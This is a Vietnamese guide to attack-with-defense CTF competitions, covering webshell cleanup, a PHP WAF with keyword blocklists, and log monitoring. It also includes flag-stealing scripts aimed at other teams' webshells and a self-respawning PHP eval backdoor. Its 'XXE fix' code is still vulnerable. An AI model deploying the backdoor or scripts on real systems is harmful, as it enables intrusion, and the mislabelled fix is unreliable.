Phòng thủ
I. Đăng nhập máy chủ SSH
Mọi người đều phải đăng nhập vào. Dưới đây là ví dụ với máy chủ của tôi. Thông thường sử dụng cách đăng nhập SSH mặc định, máy chủ cá nhân của tôi có địa chỉ IP là 120.46.41.173, công cụ dùng là xshell và xftp.
Bấm tạo kết nối mới.
Nhập địa chỉ IP. Cổng SSH mặc định 22 không cần thay đổi để kết nối.
Sau đó nhấn vào thanh bên, nhập tên đăng nhập và mật khẩu để đăng nhập. (Tên đăng nhập và mật khẩu do ban tổ chức cung cấp)
Sau khi đăng nhập thành công, gõ lệnh ls (xem danh sách file trong thư mục hiện tại), nếu có phản hồi là đã kết nối thành công.
xshell và xftp đi kèm với nhau, bấm trực tiếp chuyển đến, không cần đăng nhập lại tên và mật khẩu.
Đăng nhập SSH phải nhanh chóng hoàn tất, vòng phòng thủ đầu tiên chỉ cho phép 10 phút, việc đăng nhập chỉ nên mất 2 phút, nếu không sẽ không kịp thời cho các biện pháp phòng thủ.
II. Tải về và sao lưu tệp tin
Chỉ cần tải về và sao lưu thư mục web như /app/.
Sau khi sao lưu xong nhớ gửi lên nhóm đội, ghi rõ là mã nguồn ban đầu.
III. Kiểm tra và loại bỏ webshell
Sử dụng công cụ như河马 (HeMa) để quét và phát hiện webshell đơn giản.
Sau đó trong nhóm báo cáo đường dẫn file chứa shell, sau đó chú thích lại shell đó.
Ví dụ trên hình, có thể thấy một webshell một dòng rất điển hình, những shell này thường được ban tổ chức để sẵn từ trước, nên những file chứa shell này phải được chú thích. Sau khi chú thích hết tất cả shell, sao lưu file, gửi lên nhóm, rồi upload lên máy chủ thay thế các file gốc.
IV. Viết script tấn công tự động
import requests
def get_flag():
data = {
'shell':'cat /flag'
}
for i in range(8802,8804):
url = 'http://192.168.109.128:'+str(i)+'/footer.php'
result=requests.post(url,data=data).content.decode('utf-8')
print(result)
with open(r'flag.txt','a+') as f:
f.write(result+'\n')
f.close()
def tijiao_flag():
for flag in open('flag.txt'):
flag=flag.replace('\n','')
url='http://192.168.109.128:8080/flag_file.php?token=team1&flag='+flag
requests.get(url)
if __name__ == '__main__':
get_flag()
tijiao_flag()
Dành riêng cho ISCC-2023:
import requests
def get_flag():
data = {
'【Tên tham số】':'hereiam -t 【Ký danh đội】'
}
for i in range(9000,9030):
url = 'http://120.46.41.173:'+str(i)+'【Đường dẫn】'
#requests.post(url , data=data)
requests.get(url, params=data)
if __name__ == '__main__':
get_flag()
V. Triển khai WAF
Nếu toàn bộ đều là shell rõ ràng, bước này bỏ qua.
Đầu tiên cài đặt WAF thông thường:
waf.php
<?php
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
define('LOG_FILENAME', 'Attack_Big_information.txt');
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']); //fix a bug
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
logging($input);
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
}
function logging($var) {
date_default_timezone_set("Asia/Shanghai");
$time=date("Y-m-d H:i:s");
file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
}
waf();
class waf{
private $request_url;
private $request_method;
private $request_data;
private $headers;
private $raw;
// Hàm khởi tạo tự động
function __construct(){
//echo "class waf construct execute..</br>"; //debug code
$this->write_access_log_probably(); //ghi nhật ký truy cập tương tự log
$this->write_access_logs_detailed(); //ghi chi tiết yêu cầu truy cập
//echo "class waf construct execute..2</br>";
if($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET'){
write_attack_log("method");
}
//echo "class waf construct execute..3</br>";
$this->request_url= $_SERVER['REQUEST_URI']; //lấy url để kiểm tra
$this->request_data = file_get_contents('php://input'); //lấy dữ liệu post
$this->headers =$this->get_all_headers(); //lấy header
//echo "class waf construct execute half..</br>";
$this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($this->request_url)))); //kiểm tra URL, nếu có vấn đề thì chặn và ghi lại
$this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($this->request_data)))); //kiểm tra nội dung POST, nếu có vấn đề thì chặn và ghi lại
//echo "class waf construct execute..4</br>";
$this->detect_upload();
$this->gloabel_attack_detect();
//echo "class waf construct execute success..</br>";
}
//Kiểm tra toàn cục các input sau khi kiểm tra URL và POST rồi thì lọc các input còn lại
function gloabel_attack_detect(){
foreach ($_GET as $key => $value) {
$_GET[$key] = $this->filter_dangerous_words($value);
}
foreach ($_POST as $key => $value) {
$_POST[$key] = $this->filter_dangerous_words($value);
}
foreach ($headers as $key => $value) {
$this->filter_attack_keyword($this->filter_invisible(urldecode(filter_0x25($value)))); //kiểm tra header HTTP, nếu có vấn đề thì chặn và ghi lại
$_SERVER[$key] = $this->filter_dangerous_words($value); //lọc đơn giản
}
}
//Chặn mọi lần upload file và ghi lại hành vi upload đồng thời lưu file upload vào thư mục tmp hệ thống
function detect_upload(){
foreach ($_FILES as $key => $value) {
if($_FILES[$key]['size']>1){
echo "Bạn không tuân thủ quy tắc, bạn đang upload gì vậy????? Bạn rất nguy hiểm啊!(╯‵□′)╯︵┻━┻";
$this->write_attack_log("Upload");
//move_uploaded_file($_FILES[$key]["tmp_name"],'/tmp/uoloadfiles/'.$_FILES[$key]["name"]);
exit(0);
}
}
}
//Ghi lại thông tin truy cập tổng quát, tương tự log, để tìm kiếm chi tiết hơn
function write_access_log_probably() {
$raw = date("Y/m/d H:i:s").' ';
$raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['REMOTE_ADDR'].' ';
$raw .= 'POST: '.file_get_contents('php://input')."\r\n";
$ffff = fopen('all_requests.txt', 'a'); //đường dẫn log
fwrite($ffff, $raw);
fclose($ffff);
}
//Ghi lại chi tiết header truy cập, bao gồm GET POST header http để lấy payload chưa bị phát hiện bởi WAF thông thường
function write_access_logs_detailed(){
$data = date("Y/m/d H:i:s")." -- "."\r\n".$this->get_http_raws()."\r\n\r\n";
$ffff = fopen('all_requests_detail.txt', 'a'); //đường dẫn log
fwrite($ffff, urldecode($data));
fclose($ffff);
}
/*
Lấy header HTTP và ghi vào mảng
*/
function get_all_headers() {
$headers = array();
foreach($_SERVER as $key => $value) {
if(substr($key, 0, 5) === 'HTTP_') {
$headers[$key] = $value;
}
}
return $headers;
}
/*
Kiểm tra ký tự vô hình gây cắt đoạn hoặc bỏ qua, chú ý nếu trang web có tiếng Trung thì cần chỉnh sửa
*/
function filter_invisible($str){
for($i=0;$i<strlen($str);$i++){
$ascii = ord($str[$i]);
if($ascii>126 || $ascii < 32){ //có tiếng Trung ở đây cần chỉnh sửa
if(!in_array($ascii, array(9,10,13))){
write_attack_log("interrupt");
}else{
$str = str_replace($ascii, " ", $str);
}
}
}
$str = str_replace(array("`","|",";",","), " ", $str);
return $str;
}
/*
Kiểm tra lỗi encode 2 lần gây bỏ qua %25, ở đây lặp lại thay thế %25 bằng % cho đến khi không còn %25
*/
function filter_0x25($str){
if(strpos($str,"%25") !== false){
$str = str_replace("%25", "%", $str);
return filter_0x25($str);
}else{
return $str;
}
}
/*
Kiểm tra từ khóa tấn công, do trước đó đã thay thế ký tự đặc biệt thành khoảng trắng, ngay cả khi có tính năng bỏ qua cũng không vượt qua được regex \b
*/
function filter_attack_keyword($str){
if(preg_match("/select\b|insert\b|update\b|drop\b|and\b|delete\b|dumpfile\b|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|multipoint\(/i", $str)){
$this->write_attack_log("sqli");
}
//Kiểm tra include file
if(substr_count($str,$_SERVER['PHP_SELF']) < 2){
$tmp = str_replace($_SERVER['PHP_SELF'], "", $str);
if(preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)){
$this->write_attack_log("LFI/LFR");;
}
}else{
$this->write_attack_log("LFI/LFR");
}
if(preg_match("/base64_decode|eval\(|assert\(|file_put_contents|fwrite|curl|system|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restorei/i", $str)){
$this->write_attack_log("EXEC");
}
if(preg_match("/flag/i", $str)){
$this->write_attack_log("GETFLAG");
}
}
/*
Thay thế các ký tự dễ gây vấn đề thành ký tự Trung văn
*/
function filter_dangerous_words($str){
$str = str_replace("'", "‘", $str);
$str = str_replace("\"", """, $str);
$str = str_replace("<", "《", $str);
$str = str_replace(">", "》", $str);
return $str;
}
/*
Lấy gói yêu cầu HTTP, để lấy payload từ người khác tấn công
*/
function get_http_raws() {
$raw = '';
$raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['SERVER_PROTOCOL']."\r\n";
foreach($_SERVER as $key => $value) {
if(substr($key, 0, 5) === 'HTTP_') {
$key = substr($key, 5);
$key = str_replace('_', '-', $key);
$raw .= $key.': '.$value."\r\n";
}
}
$raw .= "\r\n";
$raw .= file_get_contents('php://input');
return $raw;
}
/*
Chặn và ghi lại payload tấn công Tham số đầu tiên là loại log Tham số thứ hai là nội dung log Gọi hàm trực tiếp để sử dụng
*/
function write_attack_log($alert){
$data = date("Y/m/d H:i:s")." -- [".$alert."]"."\r\n".$this->get_http_raws()."\r\n\r\n";
$ffff = fopen('attack_detected_log.txt', 'a'); //đường dẫn log
fwrite($ffff, $data);
fclose($ffff);
if($alert == 'getflag'){
echo "flag{erxianqiao_NB_NO1_c001}"; //nếu yêu cầu có từ khóa flag, hiển thị flag giả (2333333)
}else{
sleep(3); //trễ 3 giây trước khi chặn
}
exit(0);
}
}
$waf = new waf();
?>
Sau đó lọc theo biểu thức chính quy:
$str1 ="";
foreach ($_POST as $key => $value) {
$str1.=$key;
$str1.=$value;
}
$str2 ="";
foreach ($_GET as $key => $value) {
$str2.=$key;
$str2.=$value;
}
if (preg_match("/system|tail|flag|\'|\"|\<|\{|\}|exec|base64|phpinfo|<\?|\"/i", $str1)||preg_match("/system|tail|flag|\'|\"|\<|\{|\}|exec|base64|phpinfo|<\?|\"/i", $str2)) {
die('no!');
}
//RCE
function wafrce($str){
return !preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore/i", $str);
}
//Dưới đây có thể bypass bằng cách dùng short tag + backtick + wildcard
preg_match("/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i", $str);
//SQL
function wafsqli($str){
return !preg_match("/select|and|\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleexml|extractvalue|+|regex|copy|read|file|create|grand|dir|insert|link|server|drop|=|>|<|;|\"|\'|\^|\|/i", $str);
}
if (preg_match("/select|flag|union|\\\\$|\'|\"|--|#|\\0|into|alert|img|prompt|set|/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark|regexp|from|count|procedure|and|ascii|substr|substring|left|right|union|if|case|pow|exp|order|sleep|benchmark|into|load|outfile|dumpfile|load_file|join|show|select|update|set|concat|delete|alter|insert|create|union|or|drop|not|for|join|is|between|group_concat|like|where|user|ascii|greatest|mid|substr|left|right|char|hex|ord|case|limit|conv|table|mysql_history|flag|count|rpad|\&|\*|\.|/is",$s)||strlen($s)>50){
header("Location: /");
die();
}
//XSS
function wafxss($str){
return !preg_match("/\'|http|\"|\`|cookie|<|>|script/i", $str);
}
// sửa lỗi (XXE)
<?php
function is_user_exists($username, $user_info_dir): bool
{
$dirs = array_filter(glob($user_info_dir . '/*'), 'is_dir');
foreach ($dirs as $dir) {
$dirName = basename($dir);
if($dirName === $username) return true;
}
return false;
}
function register_user($username, $user_info_dir, $user_xml){
$r = "/php|read|flag/i";
$username = preg_replace($r,"",$username);
$user_dir_name = $user_info_dir.$username;
mkdir($user_dir_name, 0777);
file_put_contents($user_dir_name.'/'.$username.".xml", $user_xml);
}
function get_user_record($username, $user_info_dir)
{
$r = "/php|read|flag/i";
$username = preg_replace($r,"",$username);
$user_info_xml = file_get_contents($user_info_dir.$username.'/'.$username.'.xml');
$dom = new DOMDocument();
$dom->loadXML($user_info_xml, LIBXML_NOENT | LIBXML_DTDLOAD);
return simplexml_import_dom($dom);
}
VI. Mở script lắng nghe và ghi nhật ký
Nếu file bị mất, sẽ bị trừ điểm. Bảo vệ file của mình đồng thời xóa file của người khác cũng là một mặt tấn công.
Script xem py2监听. Cần có môi trường Python2 trên VPS.
apt install python2
python2 ./py2_lin.py
Nhật ký:
/var/log/nginx/ #thư mục nhật ký Nginx mặc định
/var/log/apache/ #thư mục nhật ký Apache mặc định
/var/log/apache2/ #thư mục nhật ký Apache mặc định
/usr/local/tomcat/logs #thư mục nhật ký Tomcat
tail -f xxx.log #theo dõi nhật ký thực thời
Tệp nhật ký như sau:
Cũng có thể dùng exe có sẵn gọi là Web日志安全分析工具+v2.0. Nhưng không biết cách chạy, hướng dẫn từ mạng:
apt intall wine-stable
wine /xxx/xxx.exe
VII. Kết nối cơ sở dữ liệu, thay đổi mật khẩu
ls -al
ls -al /app/admin
#chuyển tới thư mục /app/admin và xem file ẩn
mysql -u admin -p
#-u: nhập tên người dùng -p: nhập mật khẩu
hoạt động với xshell liên quan đến cơ sở dữ liệu:
show databases;
show tables from tcho;
select * from type_users
use tcho
select * from type_users;
update type_users set password = "e10adc3949ba59abbe56e057f20f883e";
#mã hóa md5 không thể đảo ngược
Giải quyết backdoor không chết
- ps auxww|grep shell.php tìm pid rồi kill tiến trình là được, bạn xóa script thì không hiệu quả vì PHP đã đọc file vào rồi biên dịch thành opcode rồi chạy
- Khởi động lại dịch vụ php hoặc web
- Sử dụng script ignore_user_abort(true) để cạnh tranh viết vào (liên tục). usleep phải nhỏ hơn giá trị thiết lập của backdoor không chết
- Tạo thư mục cùng tên với backdoor tạo ra
Phương pháp 1: Kill tiến trình:
<?php
while (1) {
$pid=1234;
@unlink('.index.php');
exec('kill -9 $pid');
}
?>
Phương pháp 3: Cạnh tranh ghi:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'x.php';
$code = 'fuck';
while (1){
file_put_contents($file,$code);
usleep(1000);
}
?>
Tấn công
Quét vị trí tất cả thí sinh:
Dùng burp brute scan. Cũng có thể tự viết script quét. Trong trải nghiệm offline phát hiện fscan tốt hơn nmap.
Backdoor không chết:
MD5 là Jay17
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.index.php';
$code = '<?php if(md5($_GET["pass"])=="3d9c2be0ae43583ed82a0601779e40e1"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>
Gửi gói tấn công:
Xem script py搅屎棍
Trick:
- Sử dụng
find / -name *flag*hoặcgrep -rn "flag" *để tìm nhanh vị trí flag, tiện lợi cho điểm số sau này. - Triển khai theo dõi lưu lượng hoặc bật ghi nhật ký máy chủ. Mục đích là để phát lại lưu lượng, xem người khác dùng lỗ hổng nào mà tấn công máy của chúng ta, sau đó đưa lưu lượng khó hiểu về máy khác để thử, cũng cần lưu ý khi tấn công, nên làm nhiễu lưu lượng để tránh bị lợi dụng.